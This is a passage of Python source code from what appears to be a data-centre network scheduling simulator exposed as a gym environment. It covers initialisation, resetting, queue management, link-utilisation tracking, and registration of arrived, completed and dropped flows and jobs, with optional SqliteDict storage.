slots_dict.close()\n self.slots_dict = _slots_dict # update path to new slots_dict database path\n end = time.time()\n print('Established {} slots_dict tmp database in {} s.'.format(self.sim_name, end-start))\n else:\n # read into memory\n if type(self.slots_dict) is str:\n # slots_dict is database, read into memory\n with SqliteDict(self.slots_dict) as slots_dict:\n for key, val in slots_dict.items():\n if type(key) is not str:\n slots_dict[json.dumps(key)] = val\n else:\n slots_dict[key] = val\n self.check_if_pairs_valid(slots_dict)\n self.slot_size = slots_dict['slot_size']\n self.job_centric = slots_dict['job_centric']\n self.num_demands = slots_dict['num_demands']\n self.num_flows = slots_dict['num_flows']\n slots_dict.commit()\n slots_dict.close()\n # read into memory\n self.slots_dict = slots_dict\n else:\n # slots_dict already read into memory\n self.check_if_pairs_valid(self.slots_dict)\n self.slot_size = self.slots_dict['slot_size']\n self.job_centric = self.slots_dict['job_centric']\n self.num_demands = self.slots_dict['num_demands']\n self.num_flows = slots_dict['num_flows']\n self.check_if_pairs_valid(self.slots_dict)\n self.slot_size = self.slots_dict['slot_size']\n\n if type(self.slot_size) is not float:\n raise Exception('slot_size must be float (e.g. 1.0), but is {}'.format(self.slot_size))\n\n # initialise DCN environment characteristics\n self.network = Network\n self.scheduler = Scheduler\n self.num_k_paths = num_k_paths\n self.max_flows = max_flows # max number of flows per queue\n self.max_time = max_time\n if self.max_time == 'last_demand_arrival_time':\n if self.env_database_path is not None:\n with SqliteDict(self.slots_dict) as slots_dict:\n self.max_time = slots_dict['time_last_demand_arrived']\n slots_dict.close()\n else:\n self.max_time = self.slots_dict['time_last_demand_arrived']\n\n \n self.time_multiplexing = time_multiplexing\n self.track_grid_slot_evolution = track_grid_slot_evolution\n self.track_queue_length_evolution = track_queue_length_evolution\n self.track_link_utilisation_evolution = track_link_utilisation_evolution\n self.track_link_concurrent_demands_evolution = track_link_concurrent_demands_evolution\n self.gen_machine_readable_network = gen_machine_readable_network\n\n self.channel_names = self.network.graph['channel_names'] \n self.num_channels = len(self.channel_names)\n\n # init representation generator\n if self.gen_machine_readable_network:\n with tf.device('/cpu'):\n self.repgen = RepresentationGenerator(self)\n\n # gym env reqs\n # 'src': spaces.Box(low=0, high=1, shape=(len(env.repgen.onehot_endpoints[0]),)), # don't need to onehot encode, gym.spaces.Discrete() does automatically\n # 'path': spaces.MultiBinary(nlen(env.repgen.onehot_paths[0])), #TODO: Use this for encoding paths?\n network_representation_space = gym.spaces.Dict({\n index: gym.spaces.Dict({\n 'src': gym.spaces.Discrete(self.repgen.num_endpoints),\n 'dst': gym.spaces.Discrete(self.repgen.num_endpoints),\n 'path': gym.spaces.Discrete(self.repgen.num_paths),\n 'size': gym.spaces.Box(low=-1, high=1e12, shape=()),\n 'packets': gym.spaces.Box(low=-1, high=1e12, shape=()),\n 'time_arrived': gym.spaces.Box(low=-1, high=1e12, shape=()),\n 'selected': gym.spaces.Discrete(2),\n 'null_action': gym.spaces.Discrete(2),\n 'flow_present': gym.spaces.Discrete(2)\n })\n for index in range(self.repgen.num_actions)})\n self.action_space = gym.spaces.Discrete(self.repgen.num_actions)\n self.observation_space = gym.spaces.Dict({'avail_actions': network_representation_space,\n 'machine_readable_network': network_representation_space})\n\n print('Initialised simulation {}.'.format(self.sim_name))\n\n\n def reset(self, return_obs=True):\n '''\n Resets DCN simulation environment\n '''\n print('Resetting simulation \\'{}\\'...'.format(self.sim_name))\n\n self.curr_step = 0\n self.curr_time = 0\n\n self.num_endpoints = int(len(self.network.graph['endpoints']))\n\n self.net_node_positions = networks.init_network_node_positions(copy.deepcopy(self.network))\n self.animation_images = []\n\n self.action = {'chosen_flows': []} # init\n\n if self.job_centric:\n # init dicts & lists required for job centric simulations\n if self.env_database_path is not None:\n # create databases\n self.arrived_job_dicts = self.env_database_path + '/arrived_job_dicts.sqlite'\n with SqliteDict(self.arrived_job_dicts) as arrived_job_dicts:\n arrived_job_dicts.commit()\n arrived_job_dicts.close()\n self.completed_job_dicts = self.env_database_path + '/completed_job_dicts.sqlite'\n with SqliteDict(self.completed_job_dicts) as completed_job_dicts:\n completed_job_dicts.commit()\n completed_job_dicts.close()\n self.dropped_job_dicts = self.env_database_path + '/dropped_job_dicts.sqlite'\n with SqliteDict(self.dropped_job_dicts) as dropped_job_dicts:\n dropped_job_dicts.commit()\n dropped_job_dicts.close()\n self.control_deps = self.env_database_path + '/control_deps.sqlite'\n with SqliteDict(self.control_deps) as control_deps:\n control_deps.commit()\n control_deps.close()\n else:\n # use local memory\n # self.arrived_job_dicts = []\n self.arrived_job_dicts = {}\n # self.completed_jobs = []\n self.completed_job_dicts = {}\n # self.dropped_jobs = []\n self.dropped_job_dicts = {}\n # self.control_deps = [] # list of control dependencies\n self.control_deps = {} # list of control dependencies\n # self.control_deps_that_were_flows = []\n self.network.graph['queued_jobs'] = [] # init list of curr queued jobs in network\n self.arrived_jobs = {} # use hash table for quick look ups\n self.running_ops = {}\n self.num_arrived_control_deps = 0\n self.num_completed_control_deps = 0\n self.num_arrived_jobs = 0\n self.num_completed_jobs = 0\n self.num_dropped_jobs = 0\n else:\n # flow centric dicts and lists also needed for job centric -> init below\n pass\n\n if self.env_database_path is not None:\n # create databases\n self.arrived_flow_dicts = self.env_database_path + '/arrived_flow_dicts.sqlite'\n with SqliteDict(self.arrived_flow_dicts) as arrived_flow_dicts:\n arrived_flow_dicts.commit()\n arrived_flow_dicts.close()\n self.completed_flow_dicts = self.env_database_path + '/completed_flow_dicts.sqlite'\n with SqliteDict(self.completed_flow_dicts) as completed_flow_dicts:\n completed_flow_dicts.commit()\n completed_flow_dicts.close()\n self.dropped_flow_dicts = self.env_database_path + '/dropped_flow_dicts.sqlite'\n with SqliteDict(self.dropped_flow_dicts) as dropped_flow_dicts:\n dropped_flow_dicts.commit()\n dropped_flow_dicts.close()\n\n else:\n # use local memory\n self.arrived_flow_dicts = {}\n self.completed_flow_dicts = {}\n self.dropped_flow_dicts = {}\n self.arrived_flows = {}\n self.connected_flows = []\n self.num_arrived_flows = 0\n self.num_completed_flows = 0\n self.num_dropped_flows = 0\n\n\n self.network = self.init_virtual_queues(self.network)\n if self.track_queue_length_evolution:\n self.queue_evolution_dict = self.init_queue_evolution(self.network)\n if self.track_grid_slot_evolution:\n self.grid_slot_dict = self.init_grid_slot_evolution(self.network)\n if self.track_link_utilisation_evolution:\n if self.env_database_path is not None:\n # create link util dict database\n self.link_utilisation_dict = self.env_database_path + '/link_utilisation_dict.sqlite'\n with SqliteDict(self.link_utilisation_dict) as link_utilisation_dict:\n for key, val in self.init_link_utilisation_evolution(self.network).items():\n link_utilisation_dict[key] = val\n link_utilisation_dict.commit()\n link_utilisation_dict.close()\n else:\n # read into memory\n self.link_utilisation_dict = self.init_link_utilisation_evolution(self.network)\n if self.track_link_concurrent_demands_evolution:\n if self.env_database_path is not None:\n # create link concurrent demands dict database\n self.link_concurrent_demands_dict = self.env_database_path + '/link_concurrent_demands_dict.sqlite'\n with SqliteDict(self.link_concurrent_demands_dict) as link_concurrent_demands_dict:\n for key, val in self.init_link_concurrent_demands_dict(self.network).items():\n link_concurrent_demands_dict[key] = val\n link_concurrent_demands_dict.commit()\n link_concurrent_demands_dict.close()\n else:\n # read into memory\n self.link_concurrent_demands_dict = self.init_link_concurrent_demands_dict(self.network)\n\n print('Reset simulation {}.'.format(self.sim_name))\n \n\n\n\n if return_obs:\n return self.next_observation()\n else:\n return None\n\n def check_if_pairs_valid(self, slots_dict):\n '''\n Since the network and the demand for a simulation are created separately,\n an easy mistake to fall into is to name the network nodes in the network\n differently from the src-dst pairs in the demand. This can lead to \n infinite loops since the flows never get added to appropriate queues!\n This function loops through all the src-dst pairs in the first slot\n of the slots dict to try to catch this error before the simulation is\n ran.\n '''\n key = list(slots_dict['slot_keys'])[0]\n slot = slots_dict[key]\n for event in slot['new_event_dicts']:\n if self.job_centric:\n for f in event['flow_dicts']:\n if f['src'] not in self.network.nodes or f['dst'] not in self.network.nodes:\n sys.exit('ERROR: Demand src-dst pair names (e.g. {}-{}) different from \\\n network node names (e.g. {}). Rename one or the other to avoid errors!'.format(f['src'],f['dst'],list(self.network.nodes)[0]))\n else:\n if event['src'] not in self.network.nodes or event['dst'] not in self.network.nodes:\n sys.exit('ERROR: Demand src-dst pair names (e.g. {}) different from \\\n network node names (e.g. {}). Rename one or the other to avoid errors!'.format(event['src'],list(self.network.nodes)[0]))\n\n \n def init_queue_evolution(self, Graph):\n q_dict = {src: \n {dst: \n {'times': [0],\n 'queue_lengths_info_units': [0],\n 'queue_lengths_num_flows': [0]}\n for dst in [dst for dst in Graph.graph['endpoints'] if dst != src]}\n for src in Graph.graph['endpoints']} \n\n return q_dict\n \n def calc_queue_length(self, src, dst):\n '''\n Calc queue length in bytes at a given src-dst queue\n '''\n queue = self.network.nodes[src][dst]\n num_flows = len(queue['queued_flows'])\n \n queue_length_bytes = 0\n for flow_idx in range(num_flows):\n flow_dict = queue['queued_flows'][flow_idx]\n if flow_dict['packets'] is None:\n # scheduler agent not yet chosen this flow therefore don't \n # know chosen packet sizes, so size == original flow size\n queued_flow_bytes = flow_dict['size']\n else:\n # scheduler agent has since chosen flow, use packets left\n # to get queue length\n # queued_flow_bytes = sum(flow_dict['packets'])\n queued_flow_bytes = flow_dict['packets']*flow_dict['packet_size']\n queue_length_bytes += queued_flow_bytes\n\n return queue_length_bytes, num_flows\n \n def update_queue_evolution(self):\n q_dict = self.queue_evolution_dict\n time = self.curr_time\n \n for src in self.network.graph['endpoints']:\n for dst in self.network.graph['endpoints']:\n if dst != src:\n queue_length_bytes, queue_length_flows = self.calc_queue_length(src, dst)\n q_dict[src][dst]['times'].append(time)\n q_dict[src][dst]['queue_lengths_info_units'].append(queue_length_bytes)\n q_dict[src][dst]['queue_lengths_num_flows'].append(queue_length_flows)\n else:\n # can't have src == dst\n pass\n\n def get_channel_bandwidth(self, edge, channel):\n '''Gets current channel bandwidth left on a given edge in the network.'''\n try:\n # return self.network[edge[0]][edge[1]]['channels'][channel]\n return self.network[edge[0]][edge[1]]['{}_to_{}_port'.format(edge[0], edge[1])]['channels'][channel]\n except KeyError:\n # return self.network[edge[1]][edge[0]]['channels'][channel]\n return self.network[edge[1]][edge[0]]['{}_to_{}_port'.format(edge[0], edge[1])]['channels'][channel]\n\n def init_grid_slot_evolution(self, Graph):\n grid_slot_dict = {ep:\n {channel:\n {'times': [0],\n 'demands': [None],\n 'demands_info': [None]}\n for channel in self.channel_names} \n for ep in Graph.graph['endpoints']}\n\n return grid_slot_dict\n \n def init_link_utilisation_evolution(self, net):\n link_utilisation_dict = {}\n for link in net.edges:\n # src-dst\n link_utilisation_dict[json.dumps([link[0], link[1]])] = {'time_slots': [self.curr_step],\n 'util': [0]}\n # dst-src\n link_utilisation_dict[json.dumps([link[1], link[0]])] = {'time_slots': [self.curr_step],\n 'util': [0]}\n\n return link_utilisation_dict\n\n def init_link_concurrent_demands_dict(self, net):\n link_concurrent_demands_dict = {}\n for link in net.edges:\n # src-dst\n link_concurrent_demands_dict[json.dumps([link[0], link[1]])] = {'time_slots': [self.curr_step],\n 'concurrent_demands': [0]}\n # dst-src\n link_concurrent_demands_dict[json.dumps([link[1], link[0]])] = {'time_slots': [self.curr_step],\n 'concurrent_demands': [0]}\n\n return link_concurrent_demands_dict\n\n\n\n\n def get_path_edges(self, path):\n '''\n Takes a path and returns list of edges in the path\n\n Args:\n - path (list): path in which you want to find all edges\n\n Returns:\n - edges (list of lists): all edges contained within the path\n '''\n num_nodes = len(path)\n num_edges = num_nodes - 1\n edges = [path[edge:edge+2] for edge in range(num_edges)]\n\n return edges\n\n def check_chosen_flows_valid(self, chosen_flows):\n self.time_check_valid_start = time.time()\n\n # init channel link occupation dict\n edge_channel_occupation = {json.dumps(edge): \n {channel: 'unoccupied' for channel in self.channel_names}\n for edge in self.network.edges}\n\n # update any channel links which are now occupied \n for flow in chosen_flows:\n path, channel = flow['path'], flow['channel']\n edges = self.get_path_edges(path)\n for edge in edges:\n try:\n if edge_channel_occupation[json.dumps(edge)][channel] != 'unoccupied':\n raise Exception('Scheduler chose flow {}, however at least one of the edge channels in this chosen path-channel is already occupied by flow {}. Resolve contentions before passing chosen flows to DCN simulation environment.'.format(flow, edge_channel_occupation[json.dumps(edge)][channel]))\n edge_channel_occupation[json.dumps(edge)][channel] = flow\n except KeyError:\n if edge_channel_occupation[json.dumps(edge[::-1])][channel] != 'unoccupied':\n raise Exception('Scheduler chose flow {}, however at least one of the edge channels in this chosen path-channel is already occupied by flow {}. Resolve contentions before passing chosen flows to DCN simulation environment.'.format(flow, edge_channel_occupation[json.dumps(edge[::-1])][channel]))\n edge_channel_occupation[json.dumps(edge[::-1])][channel] = flow\n\n self.time_check_valid_end = time.time()\n\n def update_link_utilisation_evolution(self):\n if self.env_database_path is not None:\n link_utilisation_dict = SqliteDict(self.link_utilisation_dict)\n else:\n link_utilisation_dict = self.link_utilisation_dict\n\n for link in link_utilisation_dict.keys():\n link = json.loads(link)\n # src-dst\n available_link_bw = 0\n max_link_bw = 0\n for channel in self.channel_names:\n available_link_bw += self.get_channel_bandwidth(link, channel)\n max_link_bw += self.network[link[0]][link[1]]['{}_to_{}_port'.format(link[0], link[1])]['max_channel_capacity']\n link_util = 1-(available_link_bw / max_link_bw)\n # get link dict\n link_dict = link_utilisation_dict[json.dumps(link)]\n # update dict\n link_dict['time_slots'].append(self.curr_step)\n link_dict['util'].append(link_util)\n link_utilisation_dict[json.dumps(link)] = link_dict\n\n # dst-src\n link = link[::-1]\n available_link_bw = 0\n max_link_bw = 0\n for channel in self.channel_names:\n available_link_bw += self.get_channel_bandwidth(link, channel)\n max_link_bw += self.network[link[0]][link[1]]['{}_to_{}_port'.format(link[0], link[1])]['max_channel_capacity']\n link_util = 1-(available_link_bw / max_link_bw)\n # get link dict\n link_dict = link_utilisation_dict[json.dumps(link)]\n # update dict\n link_dict['time_slots'].append(self.curr_step)\n link_dict['util'].append(link_util)\n link_utilisation_dict[json.dumps(link)] = link_dict\n\n if self.env_database_path is not None:\n link_utilisation_dict.commit()\n link_utilisation_dict.close()\n else:\n self.link_utilisation_dict = link_utilisation_dict\n\n\n def update_link_concurrent_demands_evolution(self, link, num_concurrent_demands_to_add=1):\n '''Adds num_concurrent_demands_to_add to current number of concurrent demands on a given link.'''\n if self.env_database_path is not None:\n link_concurrent_demands_dict = SqliteDict(self.link_concurrent_demands_dict)\n else:\n link_concurrent_demands_dict = self.link_concurrent_demands_dict\n\n link_dict = link_concurrent_demands_dict[json.dumps(link)]\n if link_concurrent_demands_dict[json.dumps(link)]['time_slots'][-1] != self.curr_step:\n # not yet evolved concurrent demands evolution for this time slot\n link_dict['time_slots'].append(self.curr_step)\n # init num concurrent demands on link for this time slot\n link_dict['concurrent_demands'].append(0)\n \n # update num concurrent demands tracker for this time slot\n link_dict['concurrent_demands'][-1] += num_concurrent_demands_to_add\n link_concurrent_demands_dict[json.dumps(link)] = link_dict\n\n if self.env_database_path is not None:\n link_concurrent_demands_dict.commit()\n link_concurrent_demands_dict.close()\n else:\n self.link_concurrent_demands_dict = link_concurrent_demands_dict\n\n\n\n\n\n def update_grid_slot_evolution(self, chosen_flows):\n time = self.curr_time\n \n # init ep channel link occupation dict\n ep_link_occupation = {ep: \n {channel: 'unoccupied' for channel in self.channel_names}\n for ep in self.network.graph['endpoints']}\n\n # update grid slot evolution with any ep link channels which are now occupied \n if 'unique_id' in chosen_flows[0]:\n identifier = 'unique_id'\n else:\n identifier = 'flow_id'\n\n for flow in chosen_flows:\n sn, dn, channel = flow['src'], flow['dst'], flow['channel']\n if sn == dn:\n # does not become flow therefore does not occupy an ep channel link\n pass\n else:\n # src ep link\n self.grid_slot_dict[sn][channel]['demands'].append(flow[identifier])\n self.grid_slot_dict[sn][channel]['times'].append(time)\n self.grid_slot_dict[sn][channel]['demands_info'].append(flow) # useful for debugging\n ep_link_occupation[sn][channel] = 'occupied'\n # dst ep link\n self.grid_slot_dict[dn][channel]['demands'].append(flow[identifier])\n self.grid_slot_dict[dn][channel]['times'].append(time)\n self.grid_slot_dict[dn][channel]['demands_info'].append(flow) # useful for debugging\n ep_link_occupation[dn][channel] = 'occupied'\n\n # update grid slot evolution of any ep link channels which are unoccupied\n for ep in ep_link_occupation.keys():\n for channel in ep_link_occupation[ep].keys():\n if ep_link_occupation[ep][channel] == 'occupied':\n # ep link channel occupied, grid slot has already been updated\n pass\n else:\n # ep link channel unoccupied, grid slot not yet updated\n self.grid_slot_dict[ep][channel]['demands'].append(None)\n self.grid_slot_dict[ep][channel]['times'].append(time)\n self.grid_slot_dict[ep][channel]['demands_info'].append(None) # useful for debugging\n\n\n\n\n\n\n\n\n \n def init_virtual_queues(self, Graph):\n # queues_per_ep = self.num_endpoints-1\n \n # initialise queues at each endpoint as node attributes\n attrs = {ep: \n {dst: \n {'queued_flows': [],\n 'completion_times': []}\n for dst in [dst for dst in Graph.graph['endpoints'] if dst != ep]} \n for ep in Graph.graph['endpoints']}\n\n # add these queues/attributes to endpoint nodes in graph\n nx.set_node_attributes(Graph, attrs)\n\n return Graph\n \n def add_flow_to_queue(self, flow_dict):\n '''\n Adds a new flow to the appropriate src-dst virtual queue in the \n simulator's network. Also updates arrived flows record\n '''\n if 'unique_id' in flow_dict:\n identifier = 'unique_id'\n else:\n identifier = 'flow_id'\n\n # add to arrived flows list\n self.register_arrived_flow(flow_dict)\n \n src = flow_dict['src']\n dst = flow_dict['dst']\n \n # check if enough space to add flow to queue\n if self.max_flows is None:\n # no limit on number of flows in queue\n add_flow = True\n else:\n # check if adding flow would exceed queue limit\n curr_num_flows = len(self.network.nodes[src][dst]['queued_flows'])\n if curr_num_flows == self.max_flows:\n # queue full, cannot add flow to queue\n add_flow = False\n elif curr_num_flows < self.max_flows:\n # there is enough space to add flow to queue\n add_flow = True\n else:\n raise Exception('Error: max flows per queue is {}, but have {} flows in queue.'.format(self.max_flows, curr_num_flows))\n \n if add_flow:\n # enough space in queue, add flow\n self.network.nodes[src][dst]['queued_flows'].append(flow_dict)\n self.network.nodes[src][dst]['completion_times'].append(None)\n else:\n # no space in queue, must drop flow\n if self.env_database_path is not None:\n # if self.job_centric:\n # dropped_id = flow_dict['job_id']+'_'+flow_dict['flow_id']\n # else:\n # dropped_id = flow_dict['flow_id']\n with SqliteDict(self.dropped_flow_dicts) as dropped_flow_dicts:\n # dropped_flow_dicts[flow_dict['flow_id']] = flow_dict\n # dropped_flow_dicts[dropped_id] = flow_dict\n dropped_flow_dicts[flow_dict[identifier]] = flow_dict\n dropped_flow_dicts.commit()\n dropped_flow_dicts.close()\n else:\n # self.dropped_flow_dicts[flow_dict['flow_id']] = flow_dict\n # self.dropped_flow_dicts[dropped_id] = flow_dict\n self.dropped_flow_dicts[flow_dict[identifier]] = flow_dict\n self.num_dropped_flows += 1\n if self.job_centric:\n for job_dict in self.network.graph['queued_jobs']:\n if job_dict['job_id'] == flow_dict['job_id']:\n # drop job\n # self.dropped_jobs.append(job_dict)\n if self.env_database_path is not None:\n with SqliteDict(self.dropped_job_dicts) as dropped_job_dicts:\n dropped_job_dicts[job_dict['job_id']] = job_dict\n dropped_job_dicts.commit()\n dropped_job_dicts.close()\n else:\n self.dropped_job_dicts[job_dict['job_id']] = job_dict\n self.num_dropped_jobs += 1\n self.remove_job_from_queue(job_dict)\n break\n \n\n def add_job_to_queue(self, job_dict, print_times=False):\n '''\n Adds a new job with its respective flows to the appropriate\n src-dst virtual queue in the simulator's network. Aslo updates\n arrived flows record\n '''\n time_started_adding = time.time()\n # add to arrived jobs list\n self.arrived_jobs[job_dict['job_id']] = 'present' # record arrived job as being present in queue\n self.num_arrived_jobs += 1\n # self.arrived_job_dicts.append(job_dict)\n if self.env_database_path is not None:\n with SqliteDict(self.arrived_job_dicts) as arrived_job_dicts:\n arrived_job_dicts[job_dict['job_id']] = job_dict\n arrived_job_dicts.commit()\n arrived_job_dicts.close()\n else:\n self.arrived_job_dicts[job_dict['job_id']] = job_dict\n self.network.graph['queued_jobs'].append(job_dict)\n \n # to ensure all child flows of completed 'flows' are updated, need to wait\n # until have gone through and queued all flows in new job graph to update\n # any flows that are completed immediately (e.g. ctrl deps coming from source)\n flows_to_complete = []\n \n start = time.time()\n for flow_dict in job_dict['flow_dicts']:\n if int(flow_dict['parent_op_run_time']) == 0:\n # parent op instantly completed\n flow_dict['time_parent_op_started'] = 0\n else:\n pass\n if self.arrived_jobs[job_dict['job_id']] == 'present':\n #if flow_dict['src'] == flow_dict['dst']:\n # # src == dst therefore never becomes a flow\n # flow_dict['can_schedule'] = 1 # need to change, see bottom of this method Note\n # flow_dict['time_arrived'] = self.curr_time\n #if flow_dict['src'] != flow_dict['dst'] and int(flow_dict['size']) == 0:\n if int(flow_dict['size']) == 0:\n # is a control dependency or src==dst therefore never becomes a flow therefore treat as control dep\n if int(flow_dict['parent_op_run_time']) == 0 and len(flow_dict['completed_parent_deps']) == len(flow_dict['parent_deps']):\n # control dependency satisfied immediately\n flow_dict['time_arrived'] = self.curr_time\n flow_dict['time_completed'] = self.curr_time\n flow_dict['can_schedule'] = 1\n flows_to_complete.append(flow_dict)\n # add control dependency to arrived control dependencies\n if self.env_database_path is not None:\n with SqliteDict(self.control_deps) as control_deps:\n control_deps[flow_dict['unique_id']] = flow_dict\n control_deps.commit()\n control_deps.close()\n else:\n self.control_deps[flow_dict['unique_id']] = flow_dict\n self.num_arrived_control_deps += 1\n elif len(flow_dict['parent_deps']) == 0 and flow_dict['src'] != flow_dict['dst'] and flow_dict['size'] != 0:\n # flow with no parent dependencies, count as having arrived immediately\n flow_dict['time_arrived'] = job_dict['time_arrived']\n self.add_flow_to_queue(flow_dict)\n else:\n # flow with parent dependencies, dont count as having arrived immediately\n self.add_flow_to_queue(flow_dict)\n else:\n # job was dropped due to full flow queue\n break\n end = time.time()\n if print_times:\n print('Time to add job to queue: {}'.format(end-start))\n \n # go back through and register any immediately completed 'flows'\n start = time.time()\n for f in flows_to_complete:\n self.register_completed_flow(f, print_times=False)\n end = time.time()\n if print_times:\n print('Time to register immediately completed flows: {}'.format(end-start))\n\n time_finished_adding = time.time()\n if print_times:\n print('Total time to add job to queue & register completed flows: {}'.format(time_finished_adding-time_started_adding))\n \n \n def update_curr_time(self, slot_dict):\n '''\n Updates current time of simulator using slot dict\n '''\n if slot_dict['ub_time'] > self.curr_time:\n # observation has a new up-to-date current time\n self.curr_time = slot_dict['ub_time']\n else:\n # observation does not have an up-to-date time\n self.curr_time += self.slot_size\n num_decimals = str(self.slot_size)[::-1].find('.')\n self.curr_time = round(self.curr_time,num_decimals)\n \n def update_running_op_dependencies(self, observation):\n '''\n Takes observation of current time slot and updates dependencies of any\n ops that are running\n '''\n # go through queued flows\n eps = self.network.graph['endpoints']\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n for flow_dict in ep_queue['queued_flows']:\n if flow_dict['time_parent_op_started'] is not None:\n if self.curr_time >= flow_dict['time_parent_op_started'] + flow_dict['parent_op_run_time']:\n # parent op has finished running, can schedule flow\n #op_id = flow_dict['job_id']+'_op_'+str(flow_dict['parent_op'])\n op_id = flow_dict['job_id']+'_'+flow_dict['parent_op']\n try:\n del self.running_ops[op_id]\n except KeyError:\n # op has already previously been registered as completed\n pass\n if flow_dict['can_schedule'] == 0:\n flow_dict['can_schedule'] = 1\n flow_dict['time_arrived'] = self.curr_time\n self.register_arrived_flow(flow_dict)\n else:\n # already registered as arrived\n pass\n else:\n # child op not yet finished, cannot schedule\n pass\n else:\n # can already schedule or child op not started therefore dont need to consider\n pass\n\n if self.env_database_path is not None:\n control_deps = SqliteDict(self.control_deps)\n else:\n control_deps = self.control_deps\n\n # go through queued control dependencies\n _control_deps = {} # tmp for updated control deps so don't crash database by updating while looping through\n # must update control_deps dict outside of loop \n # or will crash database, therefore register any completed flows\n # (which requires accessing control_deps to check flow/dep completed)\n # outside of loop\n deps_to_complete = []\n for key in control_deps.keys():\n dep = control_deps[key]\n if dep['time_parent_op_started'] is not None and dep['time_completed'] is None:\n # dep child op has begun and dep has not been registered as completed\n if self.curr_time >= dep['time_parent_op_started'] + dep['parent_op_run_time']:\n # child op has finished running, dependency has been completed\n #op_id = flow_dict['job_id']+'_op_'+str(flow_dict['parent_op'])\n op_id = dep['job_id']+'_'+dep['parent_op']\n try:\n del self.running_ops[op_id]\n except KeyError:\n # op has already previously been registered as completed\n pass\n # dep['time_completed'] = self.curr_time\n if dep['time_completed'] is None:\n dep['time_completed'] = self.curr_time + self.slot_size\n dep['can_schedule'] = 1\n deps_to_complete.append(dep)\n # self.register_completed_flow(dep)\n\n # store update\n _control_deps[dep['unique_id']] = dep\n else:\n # already registed completed\n pass\n\n else:\n # parent op not yet finished\n pass\n else:\n # parent op not yet started\n pass\n\n # update with stored updates\n for key, val in _control_deps.items(): \n control_deps[key] = val\n\n if self.env_database_path is not None:\n control_deps.commit()\n control_deps.close()\n else:\n self.control_deps = control_deps\n\n # complete any deps to complete\n for dep in deps_to_complete:\n self.register_completed_flow(dep)\n\n observation['network'] = self.network\n\n return observation\n\n \n def add_flows_to_queues(self, observation):\n '''\n Takes observation of current time slot and updates virtual queues in\n network\n '''\n self.time_queue_flows_start = time.time()\n\n slot_dict = observation['slot_dict']\n\n if len(slot_dict['new_event_dicts']) == 0:\n # no new event(s)\n pass\n else:\n # new event(s)\n num_events = int(len(slot_dict['new_event_dicts']))\n for event in range(num_events):\n event_dict = slot_dict['new_event_dicts'][event]\n if event_dict['establish'] == 0:\n # event is a take down event, don't need to consider\n pass\n elif event_dict['establish'] == 1:\n if self.job_centric:\n self.add_job_to_queue(event_dict, print_times=False)\n else:\n self.add_flow_to_queue(event_dict)\n \n observation['network'] = self.network # update osbervation's network\n\n self.time_queue_flows_end = time.time()\n \n return observation\n \n def remove_job_from_queue(self, job_dict):\n idx = 0\n queued_jobs = copy.deepcopy(self.network.graph['queued_jobs'])\n\n eps = copy.deepcopy(self.network.graph['endpoints'])\n for ep in eps:\n ep_queues = self.network.nodes[ep]\n for ep_queue in ep_queues.values():\n for f in ep_queue['queued_flows']:\n if f['job_id'] == job_dict['job_id']:\n self.remove_flow_from_queue(f)\n else:\n # flow does not belong to job being removed\n pass\n\n self.arrived_jobs[job_dict['job_id']] = 'removed' \n \n \n def remove_flow_from_queue(self, flow_dict):\n if flow_dict['src'] == flow_dict['dst']:\n pass\n else:\n sn = flow_dict['src']\n dn = flow_dict['dst']\n queued_flows = self.network.nodes[sn][dn]['queued_flows']\n idx = self.find_flow_idx(flow_dict, queued_flows)\n del self.network.nodes[sn][dn]['queued_flows'][idx]\n del self.network.nodes[sn][dn]['completion_times'][idx]\n \n def register_completed_flow(self, flow_dict, print_times=False):\n '''\n Takes a completed flow, appends it to list of completed flows, records\n time at which it was completed, and removes it from queue. If 'flow' in\n fact never become a flow (i.e. had src == dst or was control dependency\n with size == 0), will update dependencies but won't append to completed\n flows etc.\n '''\n if 'unique_id' in flow_dict:\n identifier = 'unique_id'\n else:\n identifier = 'flow_id'\n \n # record time at which flow was completed\n start = time.time()\n # flow_dict['time_completed'] = copy.copy(self.curr_time)\n # if self.job_centric:\n # completion_id = flow_dict['job_id']+'_'+flow_dict['flow_id']\n # else:\n # completion_id = flow_dict['flow_id']\n flow_dict['time_completed'] = copy.copy(self.curr_time) + self.slot_size\n if flow_dict['size'] != 0 and flow_dict['src'] != flow_dict['dst']:\n # flow was an actual flow\n if self.env_database_path is not None:\n with SqliteDict(self.completed_flow_dicts) as completed_flow_dicts:\n # completed_flow_dicts[flow_dict['flow_id']] = flow_dict\n # completed_flow_dicts[completion_id] = flow_dict\n completed_flow_dicts[flow_dict[identifier]] = flow_dict\n completed_flow_dicts.commit()\n completed_flow_dicts.close()\n else:\n # self.completed_flow_dicts[flow_dict['flow_id']] = flow_dict\n # self.completed_flow_dicts[completion_id] = flow_dict\n self.completed_flow_dicts[flow_dict[identifier]] = flow_dict\n self.num_completed_flows += 1\n else:\n # 'flow' never actually became a flow (src == dst or control dependency)\n self.num_completed_control_deps += 1\n end = time.time()\n if print_times:\n print('\\nTime to record time flow completed: {}'.format(end-start))\n \n start = time.time()\n f = copy.copy(flow_dict)\n if flow_dict['size'] != 0:\n # remove flow from queue\n self.remove_flow_from_queue(flow_dict)\n else:\n # never became flow \n pass\n end = time.time()\n if print_times:\n print('Time to remove flow from global queue: {}'.format(end-start))\n \n start = time.time()\n if self.job_centric:\n # make any necessary job completion & job dependency changes\n self.update_completed_flow_job(f)\n end = time.time()\n if print_times:\n print('Time to record any job completions and job dependency changes: {}'.format(end-start))\n\n\n def register_arrived_flow(self, flow_dict):\n if 'unique_id' in flow_dict:\n identifier = 'unique_id'\n else:\n identifier = 'flow_id'\n\n # register\n if flow_dict['can_schedule'] == 1:\n # flow is ready to be scheduled therefore can count as arrived\n # if self.job_centric:\n # arrival_id = flow_dict['job_id']+'_'+flow_dict['flow_id']\n # else:\n # arrival_id = flow_dict['flow_id']\n if flow_dict[identifier] in self.arrived_flows:\n # flow already counted as arrived\n pass\n else:\n # flow not yet counted as arrived\n if flow_dict['src'] != flow_dict['dst'] and flow_dict['size'] != 0:\n if flow_dict['time_arrived'] is None:\n # record time flow arrived\n flow_dict['time_arrived'] = self.curr_time\n else:\n # already recorded time of arrival\n pass\n # self.arrived_flows[arrival_id] = 'present'\n self.arrived_flows[flow_dict[identifier]] = 'present'\n if self.env_database_path is not None:\n with SqliteDict(self.arrived_flow_dicts) as arrived_flow_dicts:\n arrived_flow_dicts[flow_dict[identifier]] = flow_dict\n arrived_flow_dicts.commit()\n arrived_flow_dicts.close()\n else:\n # self.arrived_flow_dicts[arrival_id] = flow_dict\n self.arrived_flow_dicts[flow_dict[identifier]] = 